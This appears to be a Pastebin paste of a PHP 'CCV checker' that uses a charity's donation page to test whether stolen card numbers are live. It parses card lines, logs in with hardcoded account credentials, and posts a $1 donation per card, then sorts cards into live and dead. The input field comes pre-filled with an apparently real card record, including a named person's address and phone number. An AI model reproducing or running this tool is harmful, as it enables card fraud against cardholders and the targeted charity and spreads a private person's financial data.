Advertisement
hqlan1928

Check

May 12th, 2014
358
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.37 KB | None | 0 0
  1. <title>CCV checker</title>
  2.  
  3. <style>
  4. body, table{
  5. background:#000000;
  6. padding:5px;
  7. margin:5px;
  8. font-family:Tahoma;
  9. font-size:11px;
  10. color:#FFFFFF;
  11. }
  12. textarea,input,select
  13. {
  14. background:#736F6E;
  15. color:#FFFFFF;
  16. border:dashed #ffff00;
  17. }
  18. a {
  19. color:#00ff00;
  20. }
  21. a:hover{
  22. color:#ffff00;
  23. }
  24.  
  25.  
  26. fieldset {
  27. padding:5px;
  28. border-width: 1px;
  29. border-style: dotted;
  30. border-color: #ccc;
  31. text-align: left;
  32. background: #000000;
  33. position: relative;
  34. }
  35.  
  36. legend {
  37. border-width: 1px;
  38. border-style: solid;
  39. border-color: #ccc;
  40. padding: 0 0.5em;
  41. background: #000000;
  42. font-size: 110%;
  43. color: #3e8f96;
  44. line-height: 1.5em;
  45. position: relative;
  46. top: -0.75em;
  47. letter-spacing: 2px;
  48. font-weight: bold;
  49. }
  50. .style1 {
  51. background-color: #008000;
  52. }
  53. </style>
  54. <?php
  55. error_reporting(0);
  56. ?>
  57. <?php
  58. $copyright = "[ ToolUG.Us - CCV Gate 1 ]";
  59. set_time_limit(0);
  60.  
  61. ?>
  62. <?php
  63. error_reporting(0);
  64. set_time_limit(0);
  65. function _curl($url,$post="",$usecookie = false) {
  66. $ch = curl_init();
  67. if($post) {
  68. curl_setopt($ch, CURLOPT_POST ,1);
  69. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  70. }
  71. curl_setopt($ch, CURLOPT_URL, $url);
  72. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  73. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
  74. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  75. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  76. if ($usecookie) {
  77. curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
  78. curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);
  79. }
  80. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  81. $result=curl_exec ($ch);
  82. curl_close ($ch);
  83. return $result;
  84. }
  85.  
  86.  
  87.  
  88. function percent($num_amount, $num_total) {
  89. $count1 = $num_amount / $num_total;
  90. $count2 = $count1 * 100;
  91. $count = number_format($count2, 0);
  92. return $count;
  93. }
  94.  
  95. function getStr($string,$start,$end){
  96. $str = explode($start,$string);
  97. $str = explode($end,$str[1]);
  98. return $str[0];
  99. }
  100.  
  101. function checkMon($date,$type){
  102. $len = strlen($date);
  103. if ($type == 2){
  104. if($len == 2){
  105. return $date;
  106. }
  107. elseif($len == 1){
  108. switch($date){
  109. case '1': $date='01'; break;
  110. case '2': $date='02'; break;
  111. case '3': $date='03'; break;
  112. case '4': $date='04'; break;
  113. case '5': $date='05'; break;
  114. case '6': $date='06'; break;
  115. case '7': $date='07'; break;
  116. case '8': $date='08'; break;
  117. case '9': $date='09'; break;
  118. }
  119. }
  120. return $date;
  121. }
  122. elseif ($type == 1){
  123. if($len == 2){
  124. switch ($date){
  125. case '01': $date='1'; break;
  126. case '02': $date='2'; break;
  127. case '03': $date='3'; break;
  128. case '04': $date='4'; break;
  129. case '05': $date='5'; break;
  130. case '06': $date='6'; break;
  131. case '07': $date='7'; break;
  132. case '08': $date='8'; break;
  133. case '09': $date='9'; break;
  134. case '10': $date='10'; break;
  135. case '11': $date='11'; break;
  136. case '12': $date='12'; break;
  137. }
  138. return $date;
  139. }
  140. elseif($len == 1) return $date;
  141. }
  142. else return false;
  143. }
  144.  
  145.  
  146. function checkYear($date,$type){
  147. $len = strlen($date);
  148. if($type == 4){
  149. if($len == 4) return $date;
  150. elseif($len == 2) return "20".$date;
  151. }
  152. elseif($type == 2){
  153. if($len == 2) return $date;
  154. elseif($len == 4) return substr($date,-2);
  155. }
  156. else return false;
  157. }
  158.  
  159. function multi_explode($pattern, $string, $standardDelimiter = ':'){
  160. $string = preg_replace(array($pattern, "/{$standardDelimiter}+/s"), $standardDelimiter, $string);
  161. return explode($standardDelimiter, $string);
  162. }
  163.  
  164. function info($ccline,$type){
  165. $iscvv = 1;
  166. $pattern = '/[:\|\\\\\/\s]/';
  167. $line = multi_explode($pattern,$ccline);
  168.  
  169. $typemy = explode(" ",$type);
  170. $typem = strlen($typemy[0]);
  171. $typey = strlen($typemy[1]);
  172.  
  173. $amex = "american_express";
  174. $visa = "visa";
  175. $mast = "master";
  176. $disc = "Discover";
  177.  
  178. foreach($line as $col){
  179. if(is_numeric($col)){
  180. switch(strlen($col)){
  181. case 15:
  182. if(substr($col,0,1)==3){
  183. $ccnum['num'] = $col;
  184. $ccnum['type'] = $amex;
  185. }
  186. break;
  187. case 16:
  188. switch(substr($col,0,1)){
  189. case '4':
  190. $ccnum['num'] = $col;
  191. $ccnum['type'] = $visa;
  192. break;
  193. case '5':
  194. $ccnum['num'] = $col;
  195. $ccnum['type'] = $mast;
  196. break;
  197. case '6':
  198. $ccnum['num'] = $col;
  199. $ccnum['type'] = $disc;
  200. break;
  201. }
  202. break;
  203. case 1:
  204. if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))) $ccnum['mon'] = checkMon($col,$typem); break;
  205. case 2:
  206. if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))){
  207. $ccnum['mon'] = checkMon($col,$typem);
  208. }
  209. elseif (($col >= 9) and ($col <= 19) and (isset($ccnum['mon'])) and (!isset($ccnum['year']))) $ccnum['year'] = checkYear($col,$typey);
  210. break;
  211. case 4:
  212. if (($col >= 2009) and ($col <= 2019) and (isset($ccnum['mon']))) $ccnum['year'] = checkYear($col,$typey);
  213. elseif ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,2)>= 9) and (substr($col,2,2) <= 19) and (!isset($ccnum['mon'])) and (!isset($ccnum['year']))){
  214. $ccnum['mon'] = checkMon(substr($col,0,2),$typem);
  215. $ccnum['year'] = checkYear(substr($col,-2),$typey);
  216. }
  217. else $ccv['cv4'] = $col;
  218. break;
  219. case 6:
  220. if ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,4)>= 2009) and (substr($col,2,4) <= 2019)){
  221. $ccnum['mon'] = checkMon(substr($col,0,2),$typem);
  222. $ccnum['year'] = checkYear(substr($col,-2),$typey);
  223. }
  224. break;
  225. case 3:
  226. $ccv['cv3'] = $col;
  227. break;
  228. }
  229. }
  230. }
  231. if($iscvv == 1){
  232. if ($ccnum['type'] == $amex) $ccnum['cvv'] = $ccv['cv4'];
  233. else $ccnum['cvv'] = $ccv['cv3'];
  234. return $ccnum;
  235. }
  236. else return $ccnum;
  237. }
  238. function inStr($s,$as){
  239. $s=strtoupper($s);
  240. if(!is_array($as)) $as=array($as);
  241. for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
  242. return false;
  243. }
  244.  
  245. if ($_POST['cclist']){
  246. global $cookie;
  247. $cookie = tempnam('tmp','avo'.rand(1000000,9999999).'tmp.txt');
  248.  
  249. $cclive = "";
  250. $ccdie = "";
  251. $ccerr = "";
  252. $cccant = "";
  253. $uncheck = "";
  254. $limit = "";
  255.  
  256. $cclist = trim($_POST['cclist']);
  257. $cclist = str_replace(array("\\\"","\\'"),array("\"","'"),$cclist);
  258. $cclist = str_replace("\r\r","\r",$cclist);
  259. $cclist = str_replace("\n\n","\n",$cclist);
  260. $cclist = explode("\n",$cclist);
  261.  
  262.  
  263.  
  264. $STT = 0;
  265. $TOTAL = count($cclist);
  266.  
  267. for($i=0;$i<count($cclist);$i++){
  268. $ccnum = info($cclist[$i],"xx yyyy");
  269. $type = $ccnum['type'];
  270. $ccn = $ccnum['num'];
  271. $ccmon = $ccnum['mon'];
  272. $ccyear = $ccnum['year'];
  273. $cvv = $ccnum['cvv'];
  274.  
  275. if ($ccn){
  276. $STT++;
  277. // Process Login
  278. $UserLogin = '[email protected]';
  279. $PassLogin = 'lanhoang1928';
  280. $link = "https://www.survivalinternational.org/supporter_session";
  281. $post = "supporter_session%5Bemail%5D=member.4rum%40gmail.com&supporter_session%5Bpassword%5D=Bao132&supporter_session%5Bremember_me%5D=0&supporter_session%5Bremember_me%5D=1&commit=Sign+in";
  282. $s = _curl($link,$post,$cookie);
  283. // Process Check
  284. $link = "https://www.survivalinternational.org/donations";
  285. $post = "donation_type=donation&donation%5Bcurrency%5D=USD&donation%5Bamount%5D=1.00&donation%5Bfrequency%5D=monthly&payment_method=credit_card&nil_class%5Baccount_name%5D=&nil_class%5Baccount_number%5D=&nil_class%5Bsort_code%5D=&credit_card%5Bnumber%5D=$ccn&credit_card%5Bissue_number%5D=&credit_card%5Bstart_month%5D=&credit_card%5Bstart_year%5D=&credit_card%5Bverification_value%5D=$cvv&credit_card%5Bmonth%5D=$ccmon&credit_card%5Byear%5D=$ccyear&commit=Process+my+donation+%C2%BB";
  286. $s = _curl($link,$post,$cookie);
  287. if(inStr($s,'Thank you!')){
  288. echo "$STT/$TOTAL | <font color=green>Live | ".$cclist[$i]." "." | kusanghi\n</font><br>";
  289. $cclive .= $cclist[$i]."\n" ;
  290. }
  291. elseif(inStr($s,"Sorry, we couldn't verify your payment details. Please try again, or use a different payment method. Thank you for your support.")){
  292. echo "$STT/$TOTAL | <font color=red>Die | ".$cclist[$i]." "." | kusanghi\n</font><br>";
  293. $ccdie .= $cclist[$i]."\n";
  294. }
  295. elseif(stristr($s,'Please fill in your card expiry year')){
  296. echo "$STT/$TOTAL | <font color=blue>Exp | ".$cclist[$i]." "." | kusanghi\n</font><br>";
  297. $ccexp .= $cclist[$i]."\n";
  298. }
  299. elseif(inStr($s,"Please check your credit card number - it doesn't appear to be valid")){
  300. echo "$STT/$TOTAL | <font color=DarkTurquoise>Card Invalid | ".$cclist[$i]." "." | kusanghi\n</font><br>";
  301. $ccinva .= $cclist[$i]."\n";
  302. }
  303. else{
  304. echo "$STT/$TOTAL/$s | <font color=orange>Cant Check | ".$cclist[$i]." "." | kusanghi\n</font><br>";
  305. $cccanot .= $cclist[$i]."\n";
  306. }
  307.  
  308. }
  309. flush();
  310. }
  311. unlink($cookie);
  312.  
  313. $per1 = percent(count(explode("\n",$cclive))-1,count($cclist));
  314. $per2 = percent(count(explode("\n",$ccdie))-1,count($cclist));
  315. $per3 = percent(count(explode("\n",$ccinva))-1,count($cclist));
  316. $per4 = percent(count(explode("\n",$ccexp))-1,count($cclist));
  317. $per5 = percent(count(explode("\n",$cccant))-1,count($cclist));
  318. $per6 = percent(count(explode("\n",$limit))-1,count($cclist));
  319. echo "<br><br><center><input type='submit' value='Next Check' onclick='location.replace(\"?\")'/></center>";
  320. echo "<center>";
  321. if($cclive!=""){
  322. echo "<h2><font color=green>Live</font> $per1 % (".(count(explode("\n",$cclive))-1)."/".count($cclist).")</h2>";
  323. echo "<textarea wrap=off rows=10 style=\"width:90%\">$cclive</textarea><br>";
  324. }
  325. if($ccdie!=""){
  326. echo "<h2><font color=red>Die</font> $per2 % (".(count(explode("\n",$ccdie))-1)."/".count($cclist).")</h2>";
  327. echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccdie</textarea><br>";
  328. }
  329. if($ccinva!=""){
  330. echo "<h2><font color=red>Invalid</font> $per3 % (".(count(explode("\n",$ccinva))-1)."/".count($cclist).")</h2>";
  331. echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccinva</textarea><br>";
  332. }
  333. if($ccexp!=""){
  334. echo "<h2><font color=red>Exp</font> $per4 % (".(count(explode("\n",$ccexp))-1)."/".count($cclist).")</h2>";
  335. echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccexp</textarea><br>";
  336. }
  337. if($cccant!=""){
  338. echo "<h2><font color=orange>CantCheck</font> $per5 % (".(count(explode("\n",$cccant))-1)."/".count($cclist).")</h2>";
  339. echo "<textarea wrap=off rows=10 style=\"width:90%\">$cccant</textarea><br>";
  340. }
  341.  
  342. }
  343.  
  344. else{
  345. ?>
  346. <center><span class="style1">ACCEPT VISA-MASTER-AMEX<br>Accept All Country</span></center>
  347. <form method="POST" action="">
  348. <fieldset>
  349. <legend>Enter List CC :</legend>
  350. <form action="" method=post name=f>
  351.  
  352. <p align="center">
  353. <textarea id="cclist" name="cclist" class="textarea" style="width: 978px; height: 210px">John M Ereth|4388540016317850|04|15|347|9826 El Tulipan Circle|Fountain Valley|CA|92708|United States|United States|714.603.2447|[email protected]|</textarea><br>Duplicate Remove: <input name=dup type=checkbox value=1 checked> Sort By Type: <input name=type type=checkbox value=1 checked><br>
  354. Filter Date : <input name=date type=checkbox value=1 checked> Only check BIN: <input type=text name=bin MAXLENGTH=6 size=8 style="text-align:center"><br>
  355. <input type=submit name=submit value="CHECK">
  356.  
  357. </p>
  358.  
  359. </form>
  360. </fieldset>
  361. <?php }?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement